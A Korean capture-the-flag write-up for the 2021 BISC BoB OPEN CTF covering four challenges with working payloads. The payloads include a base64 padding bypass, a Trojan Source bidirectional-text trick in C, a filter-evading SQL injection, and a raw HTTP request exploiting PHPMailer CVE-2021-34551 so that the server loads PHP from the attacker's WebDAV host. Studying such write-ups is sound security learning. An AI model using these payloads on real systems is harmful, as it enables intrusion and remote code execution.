CTF

[CTF] 2021 BISC BoB OPEN CTF Writeup

9ucc1 2021. 11. 28. 21:12
반응형

2021.11.27(토) 14:00:00 ~ 2021.11.27(토) 17:59:59

User: 9ucc1 (Score: 3742)

Ranking: 1st in BoB (Total Ranking: 2nd)

대회시간이 짧아서 가능했던 등수...!

좋은 문제 제작해주신 라온화이트햇 여러분께 감사드립니다.

 

 


 

[MISC] who_are_you

#!/usr/bin/env python3
import base64
import sys


admin_account = b"YWRtaW46YWRtaW4="

def main():
        print('give me account info ( base64(id:pw) format ) ')
        user_account = input().encode()

        if user_account == admin_account:
                print("lier! your not admin!")
                sys.exit(-1)

        user_account = base64.b64decode(user_account).decode()
        user_id = user_account.split(':')[0]
        user_pw = user_account.split(':')[1]

        if user_id == 'admin' and user_pw == 'admin':
                print('yeah bro')
                with open('./flag', 'r') as f:
                        print(f.read())
                return
        
        else:
                print('hello ', user_id)


if __name__ == '__main__':
    main()

인코딩 전엔 다르지만, 인코딩 후엔 같다고 인식되는 base64 데이터를 만들어주면 플래그를 얻을 수 있다.

Base64 padding 을 조작하여 해당 조건을 만족시킬 수 있다.

Payload: YWRtaW46YWRtaW4==

FLAG: BISC{1_don2t_car3_p4dding_bytes}

 

 


 

[MISC] fungame

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

/*
        my first open source project
        Contributor:  איש רע
*/

typedef enum _bool {
        true,
        false
}bool;

#define true 1
#define false 0

bool is_valid_bet(user_money, bet) {    // thanks to איש רע

        /*‮ } ⁦if(bet <= user_money && bet >=0 )⁩ ⁦if valid bet, return true */
                return true;
        /* if not valid bet, return false ‮   {⁦*/
        return false;
}

int get_rannum()
{
        int fd;
        int rannum=-1;

        if ( (fd=open("/dev/urandom", O_RDONLY)) == -1) {
                perror("failed to open /dev/urandom.");
                exit(0);
        }
        if (read(fd, &rannum, 4) == -1) {
                perror("failed read byte from /dev/urandom");
                exit(0);
        }
        close(fd);

        return rannum%10;
}
int main(void)
{
        setvbuf(stdout, 0, 2, 0);
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stderr, 0, 2, 0);

        int user_money = 100;
        int user_number=0;
        int bet = -1;
        int rannum;

        printf("true: %d\n", true);
        printf("false: %d\n", false);

        while(1) {
                printf("[== RANNUM GAME ==]\n");
                printf("you got %d\n", user_money);
                puts("");

                do {
                        puts("bet ?");
                        scanf("%d", &bet);
                } while(!is_valid_bet(user_money, bet));
                user_money -= bet;

                puts("guess RANdom NUMber (0~9)");
                scanf("%d", &user_number);
                user_number %= 10 + 1;
                rannum = get_rannum();
                if (user_number == rannum) {
                        puts("Yes! Yes ! ");
                        user_money += (bet*user_number);
                }
                else {
                        printf("wrong.. rannum was %d\n", rannum);
                }

                if (user_money >= 0xb0b10) {
                        break;
                }
        }
        puts("[== RANNUM GAME CLEAR ==]");
    system("cat /flag");

        return 0;
}

사용자 입력값이 음수인 경우에 대한 처리가 존재하지 않아서 엄청 작은 값을 입력하여 underflow가 발생하도록 하였다.

FLAG: BISC{ecru0s_naj0rt}

 

 


 

[WEB] select

<?php
    if(empty($_GET))
        die(highlight_file(__FILE__));

    include_once('config.php');

    $upw = @$_GET['upw'];
    $username = @$_GET['username'];
    foreach($_GET as $g) {
        if(preg_match("/select|\'|\"|\`/i", $g))
            die("no hack");
    }
    $query = "SELECT uid FROM tb WHERE uid='guest' AND upw='$upw' AND username='$username'";
    $result = @$db->query($query);
    if($result && $result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            if($row['uid'] === 'admin') {
                echo $flag;
            }
            else {
                echo $row['uid'];
            }
        }
    } else {
        echo 'Try Harder';
    }
    $db->close();
?>

2개의 파라미터(upw, username)로 입력을 받는다.

select 문자열과 싱글쿼터, 더블쿼터, 백쿼터를 필터링하고 있다.

 

\(백슬래시)를 통해 Single Quote Escape 할 수 있다.

username=0x61646d696e 으로 쿼리를 조작했지만, uid가 admin인 사용자의 username이 admin이 아니거나, uid=admin 인 사용자가 존재하지 않는 듯 했다.

 

따라서 union select "admin" 을 이용하면 원하는 결과를 가져올 수 있다.

필터링 되어있는 select 대신, values row() 구문을 이용하여 우회하였다. 

( Ref: https://dev.mysql.com/doc/refman/8.0/en/union.html )

 

Payload: ?upw=\\&username= union values row(0x61646d696e) %23

 

FLAG: BISC{what_is_values_and_row_in_mysql}

 

 


 

[WEB] EaSSI

CVE-2021-34551 를 분석하여 PHPMaiiler 6.4.1 버전에서 발생했던 RCE를 재현하는 문제이다.

올해 BoB CTF에서 출제된 0 솔버 문제와 동일하다.

문제 서버가 바로 닫혀서 자세한 라업 작성 불가다...ㅜㅜ

 

gallery.php 페이지에서 images 라는 파라미터로 LFI 가 가능하다.

대충 뽑아온 파일 목록은 다음과 같다.

파일을 훑어보다 보면 api/config.php 에서 PHPMailer 6.4.1 이라는 주석이 적혀있다.

PHPMailer 6.4.1 주석 in api/config.php

위의 버전에 해당하는 CVE가 존재한다. 

https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md

$lang_path 변수에 UNC path 을 입력하여 php script를 실행시킬 수 있다.

UNC Path Ref: https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths

 

GET /api/language.php?code=ko&path=\\\\158.247.214.182@80\\.\\ HTTP/1.1
Host: ctf.choiys.kr:1123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: */*
Referer: http://ctf.choiys.kr:1123/?page=contact
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

 

Windows 와의 서버 통신을 위해 내 서버에서 webDav를 열어 접속을 유도한다. 

위와 같은 경로로 패킷을 보내면 문제서버에서 내 서버에 있는 phpmailer.lang-ko.php 경로에 접근하므로, RCE가 가능하다.

 

자세한 풀이는 라온화이트햇 핵심연구팀 블로그에 자세히 올라와있다.

Ref: https://core-research-team.github.io/2021-08-01/CVE-2021-34551

 

FLAG: BISC{now_you_know_EaSSI_is_34551}

 

반응형